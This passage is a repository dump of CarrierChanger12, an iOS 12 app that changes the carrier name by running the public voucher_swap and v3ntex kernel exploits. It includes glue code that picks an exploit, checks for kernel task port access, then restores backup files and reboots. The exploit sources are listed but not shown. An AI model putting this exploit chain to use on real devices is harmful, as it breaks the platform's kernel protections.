├── .gitignore ├── CarrierChanger12.ipa ├── CarrierChanger12_1.1.1.ipa ├── CarrierChanger12_1.1.ipa ├── CarrierChanger12_1.2.1.ipa ├── CarrierChanger12_1.2.2.ipa ├── CarrierChanger12_1.2.ipa ├── CarrierChanger12_2.0.ipa ├── LICENSE ├── README.md └── voucher_swap ├── CarrierChanger12.xcodeproj ├── project.pbxproj ├── project.xcworkspace │ ├── contents.xcworkspacedata │ ├── xcshareddata │ │ └── IDEWorkspaceChecks.plist │ └── xcuserdata │ │ ├── ksg.xcuserdatad │ │ └── UserInterfaceState.xcuserstate │ │ └── physuru.xcuserdatad │ │ └── UserInterfaceState.xcuserstate └── xcuserdata │ ├── ksg.xcuserdatad │ └── xcschemes │ │ └── xcschememanagement.plist │ └── physuru.xcuserdatad │ └── xcschemes │ └── xcschememanagement.plist ├── IOKit.framework ├── IOKit.tbd └── Versions │ ├── A │ └── IOKit.tbd │ └── Current ├── app ├── AppDelegate.h ├── AppDelegate.m ├── Assets.xcassets │ ├── AppIcon.appiconset │ │ ├── Contents.json │ │ ├── Icon-40.png │ │ ├── Icon-40@2x.png │ │ ├── Icon-40@3x.png │ │ ├── Icon-60@2x.png │ │ ├── Icon-60@3x.png │ │ ├── Icon-72.png │ │ ├── Icon-72@2x.png │ │ ├── Icon-76.png │ │ ├── Icon-76@2x.png │ │ ├── Icon-83.5@2x.png │ │ ├── Icon-Small-50.png │ │ ├── Icon-Small-50@2x.png │ │ ├── Icon-Small.png │ │ ├── Icon-Small@2x.png │ │ ├── Icon-Small@3x.png │ │ ├── Icon.png │ │ ├── Icon@2x.png │ │ ├── NotificationIcon@2x.png │ │ ├── NotificationIcon@3x.png │ │ ├── NotificationIcon~ipad.png │ │ ├── NotificationIcon~ipad@2x.png │ │ └── ios-marketing.png │ └── Contents.json ├── Base.lproj │ ├── LaunchScreen.storyboard │ └── Main.storyboard ├── ConfirmViewController.h ├── ConfirmViewController.m ├── Info.plist ├── ViewController.h ├── ViewController.m └── main.m ├── headers ├── IOKitLib.h ├── ipc_port.h └── mach_vm.h ├── ida ├── analysis.py └── kernel_call_parameters.py ├── post ├── offsets.h ├── offsets.m ├── post.h └── post.m ├── v3ntex ├── exploit.h ├── exploit.m ├── offsets.c └── offsets.h └── voucher_swap ├── README ├── kernel_alloc.c ├── kernel_alloc.h ├── kernel_call.c ├── kernel_call.h ├── kernel_call ├── kc_parameters.c ├── kc_parameters.h ├── pac.c ├── pac.h ├── user_client.c └── user_client.h ├── kernel_memory.c ├── kernel_memory.h ├── kernel_slide.c ├── kernel_slide.h ├── log.c ├── log.h ├── parameters.c ├── parameters.h ├── platform.c ├── platform.h ├── platform_match.c ├── platform_match.h ├── voucher_swap.c └── voucher_swap.h /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | voucher_swap/xcuserdata/ 3 | voucher_swap/Build/ 4 | voucher_swap/Index/ -------------------------------------------------------------------------------- /CarrierChanger12.ipa: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/CarrierChanger12.ipa -------------------------------------------------------------------------------- /CarrierChanger12_1.1.1.ipa: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/CarrierChanger12_1.1.1.ipa -------------------------------------------------------------------------------- /CarrierChanger12_1.1.ipa: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/CarrierChanger12_1.1.ipa -------------------------------------------------------------------------------- /CarrierChanger12_1.2.1.ipa: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/CarrierChanger12_1.2.1.ipa -------------------------------------------------------------------------------- /CarrierChanger12_1.2.2.ipa: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/CarrierChanger12_1.2.2.ipa -------------------------------------------------------------------------------- /CarrierChanger12_1.2.ipa: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/CarrierChanger12_1.2.ipa -------------------------------------------------------------------------------- /CarrierChanger12_2.0.ipa: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/CarrierChanger12_2.0.ipa -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CarrierChanger12 2 | It changes carrier name on the status bar on iOS 12.0-12.1.2 3 |
4 | Use voucher_swap by bazad for iPhone 6s and above. 5 | Use v3ntex by tihmstar for iPhone 6 and below. 6 |
7 | # Supported Devices 8 | Support all devices on iOS 12.0-12.1.2 9 |
10 | # Credits 11 | - bazad 12 |
tfp0 13 | - tihmstar 14 |
tfp0 15 | - Alticha 16 |
modifications and post exploitation for voucher_swap 17 | - Jake James 18 |
modifications and post expolitation for v3ntex 19 | - PeterDev 20 |
made CarrierChanger12 to chanage carrier name 21 | - Muirey 22 |
made it doesn't need a computer 23 | - Luis E 24 |
made beautiful icon 25 | - Wei-Jin Tzeng 26 |
Improbed UI 27 | - Code4iOS 28 |
discorvered a way to make it work without reboot 29 | - jailbreak365 30 |
discorvered a way to support Wi-Fi Calling 31 | - CoryKornowicz 32 |
helped me to fix some errors 33 | -------------------------------------------------------------------------------- /voucher_swap/CarrierChanger12.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /voucher_swap/CarrierChanger12.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | IDEDidComputeMac32BitWarning 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /voucher_swap/CarrierChanger12.xcodeproj/project.xcworkspace/xcuserdata/ksg.xcuserdatad/UserInterfaceState.xcuserstate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/CarrierChanger12.xcodeproj/project.xcworkspace/xcuserdata/ksg.xcuserdatad/UserInterfaceState.xcuserstate -------------------------------------------------------------------------------- /voucher_swap/CarrierChanger12.xcodeproj/project.xcworkspace/xcuserdata/physuru.xcuserdatad/UserInterfaceState.xcuserstate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/CarrierChanger12.xcodeproj/project.xcworkspace/xcuserdata/physuru.xcuserdatad/UserInterfaceState.xcuserstate -------------------------------------------------------------------------------- /voucher_swap/CarrierChanger12.xcodeproj/xcuserdata/ksg.xcuserdatad/xcschemes/xcschememanagement.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SchemeUserState 6 | 7 | CarrierChanger12.xcscheme_^#shared#^_ 8 | 9 | orderHint 10 | 0 11 | 12 | voucher_swap.xcscheme_^#shared#^_ 13 | 14 | orderHint 15 | 0 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /voucher_swap/CarrierChanger12.xcodeproj/xcuserdata/physuru.xcuserdatad/xcschemes/xcschememanagement.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SchemeUserState 6 | 7 | voucher_swap.xcscheme_^#shared#^_ 8 | 9 | orderHint 10 | 0 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /voucher_swap/IOKit.framework/IOKit.tbd: -------------------------------------------------------------------------------- 1 | Versions/A/IOKit.tbd -------------------------------------------------------------------------------- /voucher_swap/IOKit.framework/Versions/Current: -------------------------------------------------------------------------------- 1 | A -------------------------------------------------------------------------------- /voucher_swap/app/AppDelegate.h: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.h 3 | // voucher_swap 4 | // 5 | // Created by Brandon Azad on 12/7/18. 6 | // Copyright © 2018 Brandon Azad. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface AppDelegate : UIResponder 12 | 13 | @property (strong, nonatomic) UIWindow *window; 14 | 15 | 16 | @end 17 | 18 | -------------------------------------------------------------------------------- /voucher_swap/app/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.m 3 | // voucher_swap 4 | // 5 | // Created by Brandon Azad on 12/7/18. 6 | // Copyright © 2018 Brandon Azad. All rights reserved. 7 | // 8 | 9 | #import "AppDelegate.h" 10 | 11 | @interface AppDelegate () 12 | 13 | @end 14 | 15 | @implementation AppDelegate 16 | 17 | 18 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { 19 | return YES; 20 | } 21 | 22 | 23 | - (void)applicationWillResignActive:(UIApplication *)application { 24 | // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. 25 | // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. 26 | } 27 | 28 | 29 | - (void)applicationDidEnterBackground:(UIApplication *)application { 30 | // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. 31 | // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. 32 | } 33 | 34 | 35 | - (void)applicationWillEnterForeground:(UIApplication *)application { 36 | // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. 37 | } 38 | 39 | 40 | - (void)applicationDidBecomeActive:(UIApplication *)application { 41 | // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. 42 | } 43 | 44 | 45 | - (void)applicationWillTerminate:(UIApplication *)application { 46 | // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. 47 | } 48 | 49 | 50 | @end 51 | -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "size" : "20x20", 5 | "idiom" : "iphone", 6 | "filename" : "NotificationIcon@2x.png", 7 | "scale" : "2x" 8 | }, 9 | { 10 | "size" : "20x20", 11 | "idiom" : "iphone", 12 | "filename" : "NotificationIcon@3x.png", 13 | "scale" : "3x" 14 | }, 15 | { 16 | "size" : "29x29", 17 | "idiom" : "iphone", 18 | "filename" : "Icon-Small.png", 19 | "scale" : "1x" 20 | }, 21 | { 22 | "size" : "29x29", 23 | "idiom" : "iphone", 24 | "filename" : "Icon-Small@2x.png", 25 | "scale" : "2x" 26 | }, 27 | { 28 | "size" : "29x29", 29 | "idiom" : "iphone", 30 | "filename" : "Icon-Small@3x.png", 31 | "scale" : "3x" 32 | }, 33 | { 34 | "size" : "40x40", 35 | "idiom" : "iphone", 36 | "filename" : "Icon-40@2x.png", 37 | "scale" : "2x" 38 | }, 39 | { 40 | "size" : "40x40", 41 | "idiom" : "iphone", 42 | "filename" : "Icon-40@3x.png", 43 | "scale" : "3x" 44 | }, 45 | { 46 | "size" : "57x57", 47 | "idiom" : "iphone", 48 | "filename" : "Icon.png", 49 | "scale" : "1x" 50 | }, 51 | { 52 | "size" : "57x57", 53 | "idiom" : "iphone", 54 | "filename" : "Icon@2x.png", 55 | "scale" : "2x" 56 | }, 57 | { 58 | "size" : "60x60", 59 | "idiom" : "iphone", 60 | "filename" : "Icon-60@2x.png", 61 | "scale" : "2x" 62 | }, 63 | { 64 | "size" : "60x60", 65 | "idiom" : "iphone", 66 | "filename" : "Icon-60@3x.png", 67 | "scale" : "3x" 68 | }, 69 | { 70 | "size" : "20x20", 71 | "idiom" : "ipad", 72 | "filename" : "NotificationIcon~ipad.png", 73 | "scale" : "1x" 74 | }, 75 | { 76 | "size" : "20x20", 77 | "idiom" : "ipad", 78 | "filename" : "NotificationIcon~ipad@2x.png", 79 | "scale" : "2x" 80 | }, 81 | { 82 | "size" : "29x29", 83 | "idiom" : "ipad", 84 | "filename" : "Icon-Small.png", 85 | "scale" : "1x" 86 | }, 87 | { 88 | "size" : "29x29", 89 | "idiom" : "ipad", 90 | "filename" : "Icon-Small@2x.png", 91 | "scale" : "2x" 92 | }, 93 | { 94 | "size" : "40x40", 95 | "idiom" : "ipad", 96 | "filename" : "Icon-40.png", 97 | "scale" : "1x" 98 | }, 99 | { 100 | "size" : "40x40", 101 | "idiom" : "ipad", 102 | "filename" : "Icon-40@2x.png", 103 | "scale" : "2x" 104 | }, 105 | { 106 | "size" : "50x50", 107 | "idiom" : "ipad", 108 | "filename" : "Icon-Small-50.png", 109 | "scale" : "1x" 110 | }, 111 | { 112 | "size" : "50x50", 113 | "idiom" : "ipad", 114 | "filename" : "Icon-Small-50@2x.png", 115 | "scale" : "2x" 116 | }, 117 | { 118 | "size" : "72x72", 119 | "idiom" : "ipad", 120 | "filename" : "Icon-72.png", 121 | "scale" : "1x" 122 | }, 123 | { 124 | "size" : "72x72", 125 | "idiom" : "ipad", 126 | "filename" : "Icon-72@2x.png", 127 | "scale" : "2x" 128 | }, 129 | { 130 | "size" : "76x76", 131 | "idiom" : "ipad", 132 | "filename" : "Icon-76.png", 133 | "scale" : "1x" 134 | }, 135 | { 136 | "size" : "76x76", 137 | "idiom" : "ipad", 138 | "filename" : "Icon-76@2x.png", 139 | "scale" : "2x" 140 | }, 141 | { 142 | "size" : "83.5x83.5", 143 | "idiom" : "ipad", 144 | "filename" : "Icon-83.5@2x.png", 145 | "scale" : "2x" 146 | }, 147 | { 148 | "size" : "1024x1024", 149 | "idiom" : "ios-marketing", 150 | "filename" : "ios-marketing.png", 151 | "scale" : "1x" 152 | } 153 | ], 154 | "info" : { 155 | "version" : 1, 156 | "author" : "xcode" 157 | } 158 | } -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-40.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-40.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-40@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-40@2x.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-40@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-40@3x.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-60@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-60@2x.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-60@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-60@3x.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-72.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-72.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-72@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-72@2x.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-76.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-76.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-76@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-76@2x.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-83.5@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-83.5@2x.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small-50.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small-50.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small-50@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small-50@2x.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small@2x.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon-Small@3x.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/Icon@2x.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/NotificationIcon@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/NotificationIcon@2x.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/NotificationIcon@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/NotificationIcon@3x.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/NotificationIcon~ipad.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/NotificationIcon~ipad.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/NotificationIcon~ipad@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/NotificationIcon~ipad@2x.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/AppIcon.appiconset/ios-marketing.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s8ngyu/carrier-changer-12/4c13a50ff4bb6c23ff2a0f113f1332e17b6390ad/voucher_swap/app/Assets.xcassets/AppIcon.appiconset/ios-marketing.png -------------------------------------------------------------------------------- /voucher_swap/app/Assets.xcassets/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : { 3 | "version" : 1, 4 | "author" : "xcode" 5 | } 6 | } -------------------------------------------------------------------------------- /voucher_swap/app/Base.lproj/LaunchScreen.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 32 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /voucher_swap/app/ConfirmViewController.h: -------------------------------------------------------------------------------- 1 | // 2 | // ConfirmViewController.h 3 | // voucher_swap 4 | // 5 | // Created by Soongyu Kwon on 04/02/2019. 6 | // Copyright © 2019 PeterDev. All rights reserved. 7 | // 8 | 9 | #import 10 | #import "kernel_slide.h" 11 | #import "voucher_swap.h" 12 | #import "kernel_memory.h" 13 | #import 14 | 15 | #include "ViewController.h" 16 | #include "../post/post.h" 17 | #include 18 | 19 | NS_ASSUME_NONNULL_BEGIN 20 | 21 | @interface ConfirmViewController : UIViewController 22 | - (IBAction)restoreBackup:(id)sender; 23 | - (IBAction)dismissView:(id)sender; 24 | 25 | @end 26 | 27 | NS_ASSUME_NONNULL_END 28 | -------------------------------------------------------------------------------- /voucher_swap/app/ConfirmViewController.m: -------------------------------------------------------------------------------- 1 | // 2 | // ConfirmViewController.m 3 | // voucher_swap 4 | // 5 | // Created by Soongyu Kwon on 04/02/2019. 6 | // Copyright © 2019 PeterDev. All rights reserved. 7 | // 8 | 9 | #import "ConfirmViewController.h" 10 | 11 | @interface ConfirmViewController () { 12 | BOOL is4Kdevice; 13 | } 14 | 15 | @end 16 | 17 | @implementation ConfirmViewController 18 | 19 | - (bool)voucher_swap { 20 | vm_size_t size = 0; 21 | host_page_size(mach_host_self(), &size); 22 | if (size < 16000) { 23 | printf("4K device\nExploit selected: v3ntex.\n"); 24 | is4Kdevice = TRUE; 25 | return false; 26 | } 27 | voucher_swap(); 28 | if (!MACH_PORT_VALID(kernel_task_port)) { 29 | printf("tfp0 is invalid?\n"); 30 | is4Kdevice = FALSE; 31 | return false; 32 | } 33 | printf("16K device\nExploit selected: voucher_swap.\n"); 34 | is4Kdevice = FALSE; 35 | return true; 36 | } 37 | 38 | - (void)failure { 39 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Error: exploit" message:nil preferredStyle:UIAlertControllerStyleAlert]; 40 | [self presentViewController:alert animated:YES completion:nil]; 41 | } 42 | 43 | - (void)v3ntexFailure { 44 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Error: exploit. Reboot and retry." message:nil preferredStyle:UIAlertControllerStyleAlert]; 45 | [self presentViewController:alert animated:YES completion:nil]; 46 | } 47 | 48 | - (void)viewDidLoad { 49 | [super viewDidLoad]; 50 | } 51 | 52 | - (IBAction)restoreBackup:(id)sender { 53 | Post *post = [[Post alloc] init]; 54 | ViewController *vc = [[ViewController alloc] init]; 55 | bool success = [self voucher_swap]; 56 | if (success) { 57 | sleep(1); 58 | if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/mobile/Media/CarrierChangerBackup/"]) { 59 | [post restore]; 60 | [post reboot]; 61 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Success!" message:[NSString stringWithFormat:@"Successfully restored with backup."] preferredStyle:UIAlertControllerStyleAlert]; 62 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]]; 63 | [self presentViewController:alert animated:YES completion:nil]; 64 | } else { 65 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Failed." message:[NSString stringWithFormat:@"Cannot find backup folder."] preferredStyle:UIAlertControllerStyleAlert]; 66 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]]; 67 | [self presentViewController:alert animated:YES completion:nil]; 68 | } 69 | } else if (is4Kdevice) { 70 | if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/mobile/Media/CarrierChangerBackup/"]) { 71 | [vc dov3ntex]; 72 | if ([[NSUserDefaults standardUserDefaults] boolForKey:@"isSucceed"] == TRUE) { 73 | printf("v3ntex: success\n"); 74 | [post restoreBackup]; 75 | [post v3ntexApply]; 76 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Success!" message:[NSString stringWithFormat:@"Successfully restored with backup. Reboot your device."] preferredStyle:UIAlertControllerStyleAlert]; 77 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]]; 78 | [self presentViewController:alert animated:YES completion:nil]; 79 | } else { 80 | printf("v3ntex: failed\n"); 81 | [self v3ntexFailure]; 82 | } 83 | } else { 84 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Failed." message:[NSString stringWithFormat:@"Cannot find backup folder."] preferredStyle:UIAlertControllerStyleAlert]; 85 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]]; 86 | [self presentViewController:alert animated:YES completion:nil]; 87 | } 88 | } else { 89 | [self failure]; 90 | } 91 | } 92 | 93 | - (IBAction)dismissView:(id)sender { 94 | [self dismissModalViewControllerAnimated:YES]; 95 | } 96 | 97 | @end 98 | -------------------------------------------------------------------------------- /voucher_swap/app/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | $(DEVELOPMENT_LANGUAGE) 7 | CFBundleDisplayName 8 | CC12 9 | CFBundleExecutable 10 | $(EXECUTABLE_NAME) 11 | CFBundleIdentifier 12 | $(PRODUCT_BUNDLE_IDENTIFIER) 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundleName 16 | $(PRODUCT_NAME) 17 | CFBundlePackageType 18 | APPL 19 | CFBundleShortVersionString 20 | 2.0 21 | CFBundleVersion 22 | 1 23 | LSRequiresIPhoneOS 24 | 25 | UILaunchStoryboardName 26 | LaunchScreen 27 | UIMainStoryboardFile 28 | Main 29 | UIRequiredDeviceCapabilities 30 | 31 | armv7 32 | 33 | UIStatusBarStyle 34 | UIStatusBarStyleLightContent 35 | UISupportedInterfaceOrientations 36 | 37 | UIInterfaceOrientationPortrait 38 | UIInterfaceOrientationLandscapeLeft 39 | UIInterfaceOrientationLandscapeRight 40 | UIInterfaceOrientationPortraitUpsideDown 41 | 42 | UISupportedInterfaceOrientations~ipad 43 | 44 | UIInterfaceOrientationPortrait 45 | UIInterfaceOrientationPortraitUpsideDown 46 | UIInterfaceOrientationLandscapeLeft 47 | UIInterfaceOrientationLandscapeRight 48 | 49 | UIViewControllerBasedStatusBarAppearance 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /voucher_swap/app/ViewController.h: -------------------------------------------------------------------------------- 1 | // 2 | // ViewController.h 3 | // voucher_swap 4 | // 5 | // Created by Brandon Azad on 12/7/18. 6 | // Copyright © 2018 Brandon Azad. All rights reserved. 7 | // 8 | 9 | #import 10 | #import "kernel_slide.h" 11 | #import "voucher_swap.h" 12 | #import "kernel_memory.h" 13 | #import 14 | 15 | #include "../post/post.h" 16 | #include 17 | 18 | #include "../v3ntex/offsets.h" 19 | #include "../v3ntex/exploit.h" 20 | 21 | 22 | @interface ViewController : UIViewController 23 | - (IBAction)gotRevert:(id)sender; 24 | @property (weak, nonatomic) IBOutlet UITextField *carrierTextField; 25 | - (IBAction)creditClicked:(id)sender; 26 | 27 | 28 | - (void)dov3ntex; 29 | @end 30 | -------------------------------------------------------------------------------- /voucher_swap/app/ViewController.m: -------------------------------------------------------------------------------- 1 | // 2 | // ViewController.m 3 | // voucher_swap 4 | // 5 | // Created by Brandon Azad on 12/7/18. 6 | // Copyright © 2018 Brandon Azad. All rights reserved. 7 | // 8 | 9 | #import "ViewController.h" 10 | 11 | //v3ntex 12 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, 